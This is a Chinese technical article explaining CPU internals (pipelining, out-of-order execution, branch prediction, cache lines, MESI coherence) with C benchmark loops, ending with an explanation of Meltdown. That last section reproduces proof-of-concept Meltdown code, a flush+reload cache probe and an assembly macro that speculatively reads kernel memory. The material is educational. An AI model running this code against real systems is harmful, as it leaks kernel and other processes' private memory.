浅析CPU结构对程序的影响以及熔断原理

CPU 结构简介

CPU 指令结构

• 下表列出了CPU关键技术的发展历程以及代表系列，每一个关键技术的诞生都是环环相扣的，处理器这些技术发展历程都围绕着如何不让“CPU闲下来”这一个核心目标展开。

时钟周期

现代CPU上有很多个计算元件，有逻辑运算，算术运算，浮点运算，读写地址等，一条机器指令由多个元件共同协作完成，比如i486的五级流水线中，一条指令就被分解为如下几个阶段：取址，解码，转译，执行，写回。

一条CPU指令由多条机器指令组成，CPU的一个震荡周期，是指这些基础指令对应元件执行的周期，我们可以简单地认为，一个时钟周期的震荡驱动处理器上的所有部件做一次操作，CPU的主频一般就是指这震荡（时钟）周期的频率。

现代计算机的主频已经逐渐接近物理极限，主频的大小受限于晶体管工艺，流水线级数，功耗等一系列指标。

流水线

由于一条指令由多个元件协作执行，一条指令进入某一阶段，则后面的元件都处于空闲状态，指令在执行的过程中只会有一个元件繁忙，其他元件都是空闲的，所以为了充分解放各个部件的使用，提高利用率，引入了流水线处理机制。

i486开始引入流水线的概念，把一条指令拆成了5个部分，当一个指令进入下一阶段，CPU可以直接加在下一条指令，这样所有的单元都被充分利用起来。

流水线级数越高，每个元件做的事情越少，时钟周期也就可以做的越短，吞吐量就会越高，目前的主流处理器有高达14级流水线

但是这样仍然会有一些CPU的空闲存在，被称为流水线气泡: 在流水线处理中出现部分元件空闲等待的情况

1. 出现快慢不一的指令，元器件之间的执行速度不一样
2. 出现对元件利用不一样的指令，比如算数计算和取地指令分别对应不同的处理单元
3. 出现数据依赖的指令，比如第二条指令的输入依赖第一条的输出，或者条件判断

乱序执行

为了解决流水线气泡，CPU尝试把后续的指令提前加载处理，充分解放，1995年引入了乱序执行策略，可以不按顺序的执行指令。

乱序执行引入了 微指令(μOP) 的概念，由于操作粒度拆分更细，流水线被进一步升级为“超标量流水线”，高达12级，进一步提高了性能。

拆分后的 μOP 进入重排队列，由调度器调度各个单元并行执行，每个单元只要数据准备完毕即可开始处理。

但是乱序执行打破了分支判断的有序性，也就是可以提前执行if else while等jmp相关指令的操作，而完全不等待判断指令的返回，CPU引入了一个分支判断出错则回滚现场的机制，但是这个机制的代价是巨大的，要清空流水线重新取地址。

分支预测

为了解决乱序执行的分支判断回滚带来的性能损耗，引入了分支预测模块，该模块的工作原理和缓存很像，存储一个分支判断指令最近多次的判断结果，当下次遇到该指令时候，预测出后续走向，改变取指阶段的走向。

超线程与多核心

在引入引入乱序技术后，指令的准备阶段（Front中的取指，转义，分支判断，解码等）仍大于执行阶段，导致取指译码繁忙而逻辑运算单元空闲，于是CPU把这一部分拆成前端单元（Frontend），引入多前端的超线程技术。

超线程技术是建立在乱序执行技术上，多个前端翻译好的 μOP一起进入重排Buffer， 共享ROB单元，从而共享执行引擎。

我们可以简单地认为，Frontend决定逻辑核数量，Execution决定物理核数量

后续Inter引入多核心技术后，降低了CPU主频缩短流水线，增加每个单元的工作，企图通过多核心的优势来简化架构，短暂的取消了超线程技术（多个总比一个好），后续又重新加入，渐渐变成了现在常见的CPU的多核超线程的CPU架构。

CPU 缓存结构

Cache Line

1. L1 Cache，分为数据缓存和指令缓存，逻辑核独占
2. L2 Cache，物理核独占，逻辑核共享
3. L3 Cache，所有物理核共享

Cache Line可以简单的理解为Cache之间最小换入换出单元，在64位机器上一般是64B，也就是用6位表达。通常寄存器从Cache上读数据是以字为单位，Cache之间的更新是以Line为单位，即使只写一个字的数据，也要把整个Line写回到内存中。

Cache 组织方式

1. 全映射: Cache直接映射到内存的一片区域，同一个line只能映射在指定的位置，Cache失效率高

1. 全关联: Cache中所有的数据都是Line，Cache失效率低，但是查找速度慢

1. 组关联: 全映射和全关联的折中方案，整体映射，局部关联

Cache 寻址方式

在组关联的Cache系统中，判断一个Cache是否命中一般分为两个阶段，内存被分为三个部分

1. 低6个字节用于CacheLine内的寻址
2. 高位一般划分为tag和set两部分，如果总Cache大小32K，8路的组关联，则每一路是4K，则每一组是4K/64=64，则需要Set的大小是8个字节

1. 首先用set索引到对应的组，这一步是直接下标偏移
2. 然后再用tag+line，在一组中轮训匹配每一路，这一步是循环遍历

所以一次Cache寻址通过一次偏移+一次遍历即可定位，组关联通过调整路数来平衡Cache命中率和查询效率

Cache 一致性

Cache一致性是指，各个核心的Cache以及主内存的内容的一致性，这一部分由CPU以一个有限状态机通过单独的总线通信保证。 英特尔使用协议是MESI协议。

MESI协议把Cache Line分解为四种状态，在不同的Cache中，分别有这几种状态

1. Modified 数据有效，数据修改了，和内存中的数据不一致，比主内存新，数据只存在于当前Cache中。
2. Exclusiv 数据有效，数据和主内存一致，数据只存在于当前Cache中
3. Shared 数据有效，数据和主内存一致，数据存在于多个核心中
4. Invalid 数据无效，应当被丢弃

同时对于导致状态出现迁移的的事件也分为四种，任何时

1. Local Read 本地读取，本核心读取本地，同时给其他核心发送 Remote Read事件
2. Local Write 本地写如，本核心写入数据，同时给其他核心发送 Remote Write事件
3. Remote Read 远程读取
4. Remote Write 远程写入

1. __E->M__: Local Write 事件触发，本地独占数据写入后变成独占且被修改
2. __M->E__: 不可能发生
3. __M->S__: Remote Read 事件触发，由于其他核心要读，所以要先写入内存，一致后变成多核心共享 Shared
4. __S->M__: Local Write 事件触发，多核共享，写入后变成独占修改，同时给核心状态变成 Invalid
5. __I->M__: Local Write 事件触发，无效变成本地有效且独占，同时其他核心变成 Invalid
6. __M->I__: Remote Write 事件触发，其他核心写入了数据，本地数据变成无效
7. __S->E__: 不可能发生
8. __E->S__: Remote Read 事件触发，其他核心要读，所以要先写入内存，一致后变成多核心共享 Shared
9. __E->I__: Remote Write 事件触发，其他核心写入了数据，本地数据变成无效
10. __I->E__: Local Read 事件触发，且当其他核心没有数据时
11. __I->S__: Local Read 事件触发，且当其他核心数据有数据时
12. __S->I__: Remote Write 事件触发，其他核心写入了数据，本地数据变成无效

再谈内存屏障

我们通常会把内存屏障理解成解决各个核之间的Cache不同步带来的问题，其实CPU已经通过硬件级别解决了这个问题。

内存屏障主要解决的是编译器的指令重排和处理器的乱序之行带来的不可预测性，告诉编译器不要在再屏障前后打乱指令，同时也告诉处理器在屏障前后不要乱序执行。

实测影响CPU效率的几大因素（单核）

• ALU处理单元数量
• 分支预测成功率
• 充分利用流水线处理
• 高速缓存命中率

测试说明：代码中 v_1 v_2 中的数字代表循环内展开的数量，比如

• mov_v_1

    do {
     L0: a = b;
    } while (i++ <= MAX);

• mov_v_2

    do {
    L0: a = b;
    L1: a = b;
    } while (i++ <= MAX);

同时这些测试是为了验证CPU的，所以为了防止编译器优化加了很多迷惑的判断和标记，所有测试数据来自本地开发机测试。

流水线机制

int main() {

    int a = 0;
    int b = 1;
    long i = 0;
    long MAX = 10000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: a = b;
        asm("DUMMY2:");

    } while (i++ <= MAX);


    return 0;
}

当把循环展开（总mov次数不变），我们可以看到执行时间会迅速缩短

通过 v_10 和 v_100 我们可以简单计算出，一次jmp的开销在 0.3 nm 左右

算术计算器并行优化

int main() {

    int a = 0;
    int b = 1;
    int a0 = 0;
    long i = 0;
    long MAX = 10000000000; // 1B

    switch(0) { x(0); }

    do {
        asm("DUMMY1:");
    L0: a = a + b;
    L1: a0 = a0+b;
        asm("DUMMY2:");
    } while (i++ <= MAX);

    return 0;
}

这个例子中，第二次的 "a=a+b" 必须依赖第一次返回，前后有数据依赖无法充分利用流水线最大化并行处理，当引入第二个a0后，两个加法互不影响，则计算速度接近翻倍。

乘法计数优化

编译器可以通过位移操作+ADD优化乘法
无符号常量的除法可以等价于乘法+位移，但是对于变量必须用DIV运算符

分支预测优化

int main()
{
    // Generate data
    int arraySize = 100000000; // 0.1B
    int* data = new int[arraySize];

    for (int c = 0; c < arraySize; ++c)
        data[c] = std::rand() % 256;

    // Test
    std::sort(data, data + arraySize);

    clock_t start = clock();

    long sum = 0;
    for (int c = 0; c < arraySize; ++c) {
        if (data[c] >= 128)
            sum += data[c];
    }

    double elapsedTime = static_cast<double>(clock() - start) / CLOCKS_PER_SEC;
    delete[] data;

    printf("%f", elapsedTime);

}

随机数组会导致 if 判断的预测变得不可预知，通过对数组重排，可以让CPU分支预测命中率达到100%，从而大幅度的减少流水线回退机制，提高乱序执行的吞吐量能力。

分支跳转优化

• 第一个例子默认命中if分支

int main() {

    int a = 0;
    int b[] = { 1, 1, 1, 1, 1, 1, 1};
    long i = 0;
    long MAX = 1000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: if(b[0] > 0) {
            a ++;
            a ++;
            a ++;
            a ++;
            a ++;
        }
        else {
            a--;
            a--;
            a--;
            a--;
            a--;
        }
        asm("DUMMY2:");

    } while (i++ <= MAX);

    return 0;
}

• 第二个例子，默认命中else分支

int main() {

    int a = 0;
    int b[] = { 1, 0 , 0, 1, 0, 1, 1};
    long i = 0;
    long MAX = 1000000000; // 1B

    switch(0) {
        x(0);
    }

    do {
        asm("DUMMY1:");
    L0: if( b[0] < 0) {
            a--;
            a--;
            a--;
            a--;
            a--;
        }
        else {
            a++;
            a++;
            a++;
            a++;
            a++;
        }
        asm("DUMMY2:");

    } while (i++ <= MAX);

    return 0;
}
    

if else判断会被汇编成 jle 等指令，if的部分紧挨着 jle指令，else的部分被放在后面，所以当
CPU预读指令乱序执行，首先会预执行jle后续的指令，当判断生效后再决定是否清除现场跳转到else
所以在执行效率上，只命中 else 的指令会比只命中 if 的指令慢一点。

C++中的 LIKELY / UNLIKELY 针对于此优化，通过把高命中率的分支上提到 jmp 附近。

本测试中两者分支预测总是正确但仍然有不小的性能差异，我推测是因为分支预测成功后干扰指令的读取顺序，这一部分本身相比较直接顺序读取也是有开销的。

Cache测试

   for(K = 1;K < 64*1024;K *= 2) {
        begin = gettime();                    
        for(int i = 0;i<NUMBER;i += K) {
            array[i] +=1;
        }
        end = gettime(); 
   }

这个测试通过循环遍历一个大数组来测试CacheLine边界对性能的影响，每一次遍历的步长从一个CPU字长（8Byte）开始，然后翻倍，64B，128B，256B... 等等，然后循环次数减半。当步长在一个CacheLine中，在这个CacheLine内部的循环会全部命中Cache，跨域Line后才会去下一级Cache中或者内存中读取数据。

我们看到当K=8 到 K=16 时，即使循环减半耗时反而增加，因为K=8时刚好是一个CacheLine的边界，当跨域这个边界，每次循环都要跨越一级（没命中的话）去下一级Cache中load数据。

一些性能优化的总结

1. 寄存器操作以及算术逻辑运算开销小于寻址开销
2. 算术计算性能很高，2的乘法以及除法效率很高，常量的除法效率高于变量（编译器优化）
3. 可以通过多线程利用多核，同样也可以多次利用单核心的多算术逻辑单元，只是通常收益不是很大
4. CPU总是会流水线预读指令，但是数据依赖以及条件跳转会产生流水线气泡
5. 分支回滚代价很大，LIKELY操作把相关的分支上提，增加指令预读流水线的效率
6. 分支预测可以有效缓解乱序执行下的流水线气泡，有序的if判断可以增加分支预测命中率
7. 局部性原理，数据对齐的重要性，合理调整 Cache Line 的边界，超过64B会出现两次cache line的读取
8. 局部性原理不仅适用于数据，同样适用于指令，热点for循环内的代码了不易过大（超越L1cache），但也不宜过小（无法充分利用流水线）

cpu指令周期本身很短，大部分时间只需要关注热点部分的代码

Meltdown 漏洞原理

熔断利用现代操作系统的乱序执行的漏洞，乱序会执行到一些非法的代码，但是系统中断需要时间，数据可能已经读入Cache，在通过把数据转换为探测Cache的读写速度来确定数据内容。

Meltdown涉及到上述CPU几个特性， 利用熔断原理，可以访问内核空间上的地址，也就是可以访问任意物理地址，这就代表可以跨进程的非法访问别的进程中的数据。

攻击原理介绍

这里介绍了一下GITHUB上IAIK学院的一个测试代码的攻击原理，下面是核心代码以及执行过程

1. 申请一块大内存，用于做探测内存
2. 注册SIGSEGV异常处理函数，处理非法访问后的探测工作
3. 构造一段代码，访问非法的物理地址
4. 把访问后的物理地址投射到探测内存上，由于CPU的指令预读，非法访问中断发生前已经运行了后续指令
5. 中断回调中，遍历探测内存上的数据，找到访问最快的一个点，进行加权
6. 多次循环上述探测过程，计算出得分最高的那个点，其偏移量就是所要的值

熔断的探测代码如下：

int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
      if (!setjmp(buf)) { // 设置长跳转回调
          MELTDOWN;       // 熔断！！！！
    }

    int i; // 操作系统中断，进入这里继续执行
    for (i = 0; i < 256; i++) { // 每隔一页读取一个byte测试哪一页读取速度最快
        if (flush_reload(mem + i * 4096)) {
        if (i >= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
  return 0;
}

static int __attribute__((always_inline)) flush_reload(void *ptr) {
  uint64_t start = 0, end = 0;

  start = rdtsc(); // 记录开始时间
  maccess(ptr); 
  end = rdtsc();   // 记录结束时间

  flush(ptr); // 刷回内存

  if (end - start < config.cache_miss_threshold) { // 测试时间差
    return 1;
  }
  return 0;
}

熔断的核心代码如下，也就是上面的 MELTDOWN 宏 ：

#define meltdown_nonull                        \
    asm volatile("1:\n"                        \ // 假设 *phy = 'a' (0x61)
               "movzx (%%rcx), %%rax\n"        \ // 尝试读取内核地址上的数据到rax, $rax = 0x61
               "shl $12, %%rax\n"              \ // rax << 12 == 0x61*4K  ，ZF = 0
               "jz 1b\n"                       \ // 为0则跳转到1，b代表向后， 总是跳转
               "movq (%%rbx,%%rax,1), %%rbx\n" \ // 读一个word到($rbx+$rax+1) 到 mem，等价于mem + 0x61*4K + 1 ，刷新cache
               :                               \
               : "c"(phys), "b"(mem)           \ // $rcx = phy, $rbx=mem, $rax inuse
               : "rax");

用户可以通过 /proc/pid/pagemap 找到当前进程逻辑地址对应的物理地址，然后再通过内核的高端内存映射，把物理地址转换成内核用的逻辑地址，内核的逻辑地址的分页在内核段，地址也是内核地址，这部分用户本来是没权限访问的，通过熔断可以探测这部分地址的内容。

参考文献：

1. Intel MeltDown https://meltdown.help/meltdown.pdf
2. Intel MESI https://en.wikipedia.org/wiki/MESI_protocol
3. 分支预测测试
   https://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array